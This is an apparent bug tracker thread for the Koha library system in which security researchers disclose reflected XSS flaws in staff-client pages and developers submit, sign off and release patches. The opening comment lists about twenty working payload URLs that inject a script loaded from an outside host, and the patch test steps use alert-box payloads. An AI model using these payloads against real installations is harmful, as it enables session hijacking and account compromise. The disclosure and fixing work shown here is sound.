Created attachment 40383 [details] Screenshots Multiple XSS and XSRF issues were found during our tests in the Staff client of Koha Libray. Here is a list of the findings, including working examples: authorities-home.pl - parameter value: http://testbox:9002/cgi-bin/koha/authorities/authorities-home.pl?op=do_search&type=intranet&marclist=mainentry&and_or=and&operator=contains&value="/><script src="http://cst.sba-research.org/x.js"/> lateorders.pl - parameter delay: http://testbox:9002/cgi-bin/koha/acqui/lateorders.pl?delay=<script src="http://cst.sba-research.org/x.js"></script>&estimateddeliverydatefrom= auth_subfields_structure.pl - param authtypecode: http://testbox:9002/cgi-bin/koha/admin/auth_subfields_structure.pl?op=add_form&authtypecode='<script src="http://cst.sba-research.org/x.js"/>&tagfield=000 auth_subfields_structure.pl - param tagfield: http://testbox:9002/cgi-bin/koha/admin/auth_subfields_structure.pl?frameworkcode=&op=add_form&tagfield="/><script src="http://cst.sba-research.org/x.js"/> marc_subfields_structure.pl - param tagfield: http://testbox:9002/cgi-bin/koha/admin/marc_subfields_structure.pl?op=add_form&tagfield="/><script src="http://cst.sba-research.org/x.js"></script> search.pl - param limit: http://testbox:9002/cgi-bin/koha/catalogue/search.pl?limit=<script src="http://cst.sba-research.org/x.js"></script> serials-search.pl - param bookseller_filter: testbox:9002/cgi-bin/koha/serials/serials-search.pl?bookseller_filter="""><script src="http://cst.sba-research.org/x.js"></script>&searched=1&title_filter= serials-search.pl - param callnumber_filter: http://testbox:9002/cgi-bin/koha/serials/serials-search.pl?callnumber_filter="""><script src="http://cst.sba-research.org/x.js"></script>&searched=1 serials-search.pl - param EAN_filter: http://testbox:9002/cgi-bin/koha/serials/serials-search.pl?EAN_filter="""><script src="http://cst.sba-research.org/x.js"></script>&searched=1 serials-search.pl - param ISSN_filter: http://testbox:9002/cgi-bin/koha/serials/serials-search.pl?ISSN_filter="""><<script src="http://cst.sba-research.org/x.js"></script>&searched=1 serials-search.pl - param publisher_filter: http://testbox:9002/cgi-bin/koha/serials/serials-search.pl?publisher_filter="""><script src="http://cst.sba-research.org/x.js"></script>&searched=1 serials-search.pl - param title_filter: http://testbox:9002/cgi-bin/koha/serials/serials-search.pl?title_filter="""><script src="http://cst.sba-research.org/x.js"></script>&searched=1 suggestion.pl - param author: http://testbox:9002/cgi-bin/koha/suggestion/suggestion.pl?author="><script src="http://cst.sba-research.org/x.js"></script>&accepteddate_to= suggestion.pl - param collectiontitle: http://testbox:9002/cgi-bin/koha/suggestion/suggestion.pl?collectiontitle="><script src="http://cst.sba-research.org/x.js"></script>&accepteddate_to= suggestion.pl - param copyrightdate: http://testbox:9002/cgi-bin/koha/suggestion/suggestion.pl?copyrightdate="><script src="http://cst.sba-research.org/x.js"></script>&accepteddate_to= suggestion.pl - param isbn: http://testbox:9002/cgi-bin/koha/suggestion/suggestion.pl?isbn="><script src="http://cst.sba-research.org/x.js"></script>&accepteddate_to= suggestion.pl - param manageddate_from: http://testbox:9002/cgi-bin/koha/suggestion/suggestion.pl?manageddate_from="><script src="http://cst.sba-research.org/x.js"></script>&accepteddate_to= suggestion.pl - param manageddate_to: http://testbox:9002/cgi-bin/koha/suggestion/suggestion.pl?manageddate_to="><script src="http://cst.sba-research.org/x.js"></script>&accepteddate_to= suggestion.pl - param publishercode: http://testbox:9002/cgi-bin/koha/suggestion/suggestion.pl?publishercode="><script src="http://cst.sba-research.org/x.js"></script>&accepteddate_to= suggestion.pl - param suggesteddate_from: http://testbox:9002/cgi-bin/koha/suggestion/suggestion.pl?suggesteddate_from="><script src="http://cst.sba-research.org/x.js"></script>&accepteddate_to= suggestion.pl - param suggesteddate_to: http://testbox:9002/cgi-bin/koha/suggestion/suggestion.pl?suggesteddate_to="><script src="http://cst.sba-research.org/x.js"></script>&accepteddate_to= --- Vulnerability Disclosure by Combinatorial Security Testing Group of SBA Research. Contact: cst@sba-research.org
Created attachment 40435 [details] [review] Bug 14423 : XSS in authorities-home To test: 1/ Hit a url like http://localhost:8081/cgi-bin/koha/authorities/authorities-home.pl?op=do_search&type=intranet&marclist=mainentry&and_or=and&operator=contains&value=%22/%3E%3Cscript%3Ealert%28%27oh%20noes%27%29%3C/script%3E 2/ Notice you get 3 alert boxes 3/ Apply patch 4/ Hit the url again, no js
Created attachment 40436 [details] [review] Bug 14423 : XSS bug in lateorders 1/ hit a url like http://localhost:8081/cgi-bin/koha/acqui/lateorders.pl?delay=<script>alert('oh noes')</script>&estimateddeliverydatefrom 2/ Not you get an alert box 3/ Apply patch notice it is fixed 4/ Test functionality still works
Created attachment 40437 [details] [review] Bug 14423 XSS bug in auth_subfields_structure 1/ Hit a url like http://localhost:8081/cgi-bin/koha/admin/auth_subfields_structure.pl?op=add_form&authtypecode=%27%3Cscript%3Ealert%28%27oh%20noes%27%29%3C/script%3E&tagfield=%22/%3E%3Cscript%3Ealert%28%27oh%20noes%27%29%3C/script%3E 2/ Notice a ton of alert boxes pop up 3/ Apply patch 4/ Reload url, no longer get any alerts 5/ Test fuctionality still works
Created attachment 40438 [details] [review] Bug 14423 : XSS issues in marc_subfields_structure 1/ Hit a url like http://localhost:8081/cgi-bin/koha/admin/marc_subfields_structure.pl?op=add_form&tagfield=%22/%3E%3Cscript%3Ealert%28%27oh%20noes%27%29%3C/script%3E 2/ Notice all the alert boxes 3/ Apply patch 4/ Reload page, no more alerts 5/ Test functionality still works
Created attachment 40439 [details] [review] Bug 14423 : XSS bugs in catalogue search To test 1/ hit a url like http://localhost:8081/cgi-bin/koha/catalogue/search.pl?limit=%3Cscript%3Ealert%28%27oh%20noes%27%29%3C/script%3E 2/ Notice alert boxes 3/ Apply patch 4/ Reload url, no alerts 5/ Check search still works
Created attachment 40440 [details] [review] Bug 14423 : Multiple XSS vulnerabilities in serials-search To test 1/ Hit a url like http://localhost:8081/cgi-bin/koha/serials/serials-search.pl?bookseller_filter=%22%22%22%3E%3Cscript%3Ealert%28%27oh%20noes%27%29%3C/script%3E&searched=1&title_filter= 2/ Notice alert boxes 3/ Apply patch 4/ Reload, notice fixed Repeat for callnumber_filter EAN_filter ISSN_filter publisher_filter title_filter
Created attachment 40441 [details] [review] Bug 14423 : Multiple XSS bugs in suggestion.pl To test 1/ Hit a url like http://localhost:8081/cgi-bin/koha/suggestion/suggestion.pl?author=%22%3E%3Cscript%3Ealert%28%27oh%20noes%27%29%3C/script%3E&accepteddate_to= 2/ Notice alert box(es) 3/ Apply patch 4/ Reload and notice alert is gone Repeat for collection_title copyrightdate isbn manageddate_from manageddate_to publishercode suggesteddate_from suggesteddate_to
Created attachment 40449 [details] [review] Bug 14423 : XSS in authorities-home To test: 1/ Hit a url like http://localhost:8081/cgi-bin/koha/authorities/authorities-home.pl?op=do_search&type=intranet&marclist=mainentry&and_or=and&operator=contains&value=%22/%3E%3Cscript%3Ealert%28%27oh%20noes%27%29%3C/script%3E 2/ Notice you get 3 alert boxes 3/ Apply patch 4/ Hit the url again, no js Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org>
Created attachment 40450 [details] [review] Bug 14423 : XSS bug in lateorders 1/ hit a url like http://localhost:8081/cgi-bin/koha/acqui/lateorders.pl?delay=<script>alert('oh noes')</script>&estimateddeliverydatefrom 2/ Not you get an alert box 3/ Apply patch notice it is fixed 4/ Test functionality still works Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org>
Created attachment 40451 [details] [review] Bug 14423 XSS bug in auth_subfields_structure 1/ Hit a url like http://localhost:8081/cgi-bin/koha/admin/auth_subfields_structure.pl?op=add_form&authtypecode=%27%3Cscript%3Ealert%28%27oh%20noes%27%29%3C/script%3E&tagfield=%22/%3E%3Cscript%3Ealert%28%27oh%20noes%27%29%3C/script%3E 2/ Notice a ton of alert boxes pop up 3/ Apply patch 4/ Reload url, no longer get any alerts 5/ Test fuctionality still works Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org>
Created attachment 40452 [details] [review] Bug 14423 : XSS issues in marc_subfields_structure 1/ Hit a url like http://localhost:8081/cgi-bin/koha/admin/marc_subfields_structure.pl?op=add_form&tagfield=%22/%3E%3Cscript%3Ealert%28%27oh%20noes%27%29%3C/script%3E 2/ Notice all the alert boxes 3/ Apply patch 4/ Reload page, no more alerts 5/ Test functionality still works Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org>
Created attachment 40453 [details] [review] Bug 14423 : XSS bugs in catalogue search To test 1/ hit a url like http://localhost:8081/cgi-bin/koha/catalogue/search.pl?limit=%3Cscript%3Ealert%28%27oh%20noes%27%29%3C/script%3E 2/ Notice alert boxes 3/ Apply patch 4/ Reload url, no alerts 5/ Check search still works Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org>
Created attachment 40454 [details] [review] Bug 14423 : Multiple XSS vulnerabilities in serials-search To test 1/ Hit a url like http://localhost:8081/cgi-bin/koha/serials/serials-search.pl?bookseller_filter=%22%22%22%3E%3Cscript%3Ealert%28%27oh%20noes%27%29%3C/script%3E&searched=1&title_filter= 2/ Notice alert boxes 3/ Apply patch 4/ Reload, notice fixed Repeat for callnumber_filter EAN_filter ISSN_filter publisher_filter title_filter Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org>
Created attachment 40455 [details] [review] Bug 14423 : Multiple XSS bugs in suggestion.pl To test 1/ Hit a url like http://localhost:8081/cgi-bin/koha/suggestion/suggestion.pl?author=%22%3E%3Cscript%3Ealert%28%27oh%20noes%27%29%3C/script%3E&accepteddate_to= 2/ Notice alert box(es) 3/ Apply patch 4/ Reload and notice alert is gone Repeat for collection_title copyrightdate isbn manageddate_from manageddate_to publishercode suggesteddate_from suggesteddate_to Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org>
Created attachment 40495 [details] [review] [PASSED QA] Bug 14423 : XSS in authorities-home To test: 1/ Hit a url like http://localhost:8081/cgi-bin/koha/authorities/authorities-home.pl?op=do_search&type=intranet&marclist=mainentry&and_or=and&operator=contains&value=%22/%3E%3Cscript%3Ealert%28%27oh%20noes%27%29%3C/script%3E 2/ Notice you get 3 alert boxes 3/ Apply patch 4/ Hit the url again, no js Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org> Signed-off-by: Katrin Fischer <katrin.fischer.83@web.de>
Created attachment 40496 [details] [review] [PASSED QA] Bug 14423 : XSS bug in lateorders 1/ hit a url like http://localhost:8081/cgi-bin/koha/acqui/lateorders.pl?delay=<script>alert('oh noes')</script>&estimateddeliverydatefrom 2/ Not you get an alert box 3/ Apply patch notice it is fixed 4/ Test functionality still works Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org> Signed-off-by: Katrin Fischer <katrin.fischer.83@web.de>
Created attachment 40497 [details] [review] [PASSED QA] Bug 14423 XSS bug in auth_subfields_structure 1/ Hit a url like http://localhost:8081/cgi-bin/koha/admin/auth_subfields_structure.pl?op=add_form&authtypecode=%27%3Cscript%3Ealert%28%27oh%20noes%27%29%3C/script%3E&tagfield=%22/%3E%3Cscript%3Ealert%28%27oh%20noes%27%29%3C/script%3E 2/ Notice a ton of alert boxes pop up 3/ Apply patch 4/ Reload url, no longer get any alerts 5/ Test fuctionality still works Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org> Signed-off-by: Katrin Fischer <katrin.fischer.83@web.de>
Created attachment 40498 [details] [review] [PASSED QA] Bug 14423 : XSS issues in marc_subfields_structure 1/ Hit a url like http://localhost:8081/cgi-bin/koha/admin/marc_subfields_structure.pl?op=add_form&tagfield=%22/%3E%3Cscript%3Ealert%28%27oh%20noes%27%29%3C/script%3E 2/ Notice all the alert boxes 3/ Apply patch 4/ Reload page, no more alerts 5/ Test functionality still works Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org> Signed-off-by: Katrin Fischer <katrin.fischer.83@web.de>
Created attachment 40499 [details] [review] [PASSED QA] Bug 14423 : XSS bugs in catalogue search To test 1/ hit a url like http://localhost:8081/cgi-bin/koha/catalogue/search.pl?limit=%3Cscript%3Ealert%28%27oh%20noes%27%29%3C/script%3E 2/ Notice alert boxes 3/ Apply patch 4/ Reload url, no alerts 5/ Check search still works Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org> Signed-off-by: Katrin Fischer <katrin.fischer.83@web.de>
Created attachment 40500 [details] [review] [PASSED QA] Bug 14423 : Multiple XSS vulnerabilities in serials-search To test 1/ Hit a url like http://localhost:8081/cgi-bin/koha/serials/serials-search.pl?bookseller_filter=%22%22%22%3E%3Cscript%3Ealert%28%27oh%20noes%27%29%3C/script%3E&searched=1&title_filter= 2/ Notice alert boxes 3/ Apply patch 4/ Reload, notice fixed Repeat for callnumber_filter EAN_filter ISSN_filter publisher_filter title_filter Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org> Signed-off-by: Katrin Fischer <katrin.fischer.83@web.de>
Created attachment 40501 [details] [review] [PASSED QA] Bug 14423 : Multiple XSS bugs in suggestion.pl To test 1/ Hit a url like http://localhost:8081/cgi-bin/koha/suggestion/suggestion.pl?author=%22%3E%3Cscript%3Ealert%28%27oh%20noes%27%29%3C/script%3E&accepteddate_to= 2/ Notice alert box(es) 3/ Apply patch 4/ Reload and notice alert is gone Repeat for collection_title copyrightdate isbn manageddate_from manageddate_to publishercode suggesteddate_from suggesteddate_to Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org> Signed-off-by: Katrin Fischer <katrin.fischer.83@web.de>
Pushed to 3.20.x will be in 3.20.1 (still need to go into master)
Created attachment 40503 [details] [review] Bug 14423 - tab characters in auth_subfields_structure
Pushed to 3.18.x will be in 3.18.08
Pushed to 3.14.x, will be in 3.14.16
Patches pushed to master. Thanks Chris!
Pushed to 3.16.x, will be in 3.16.12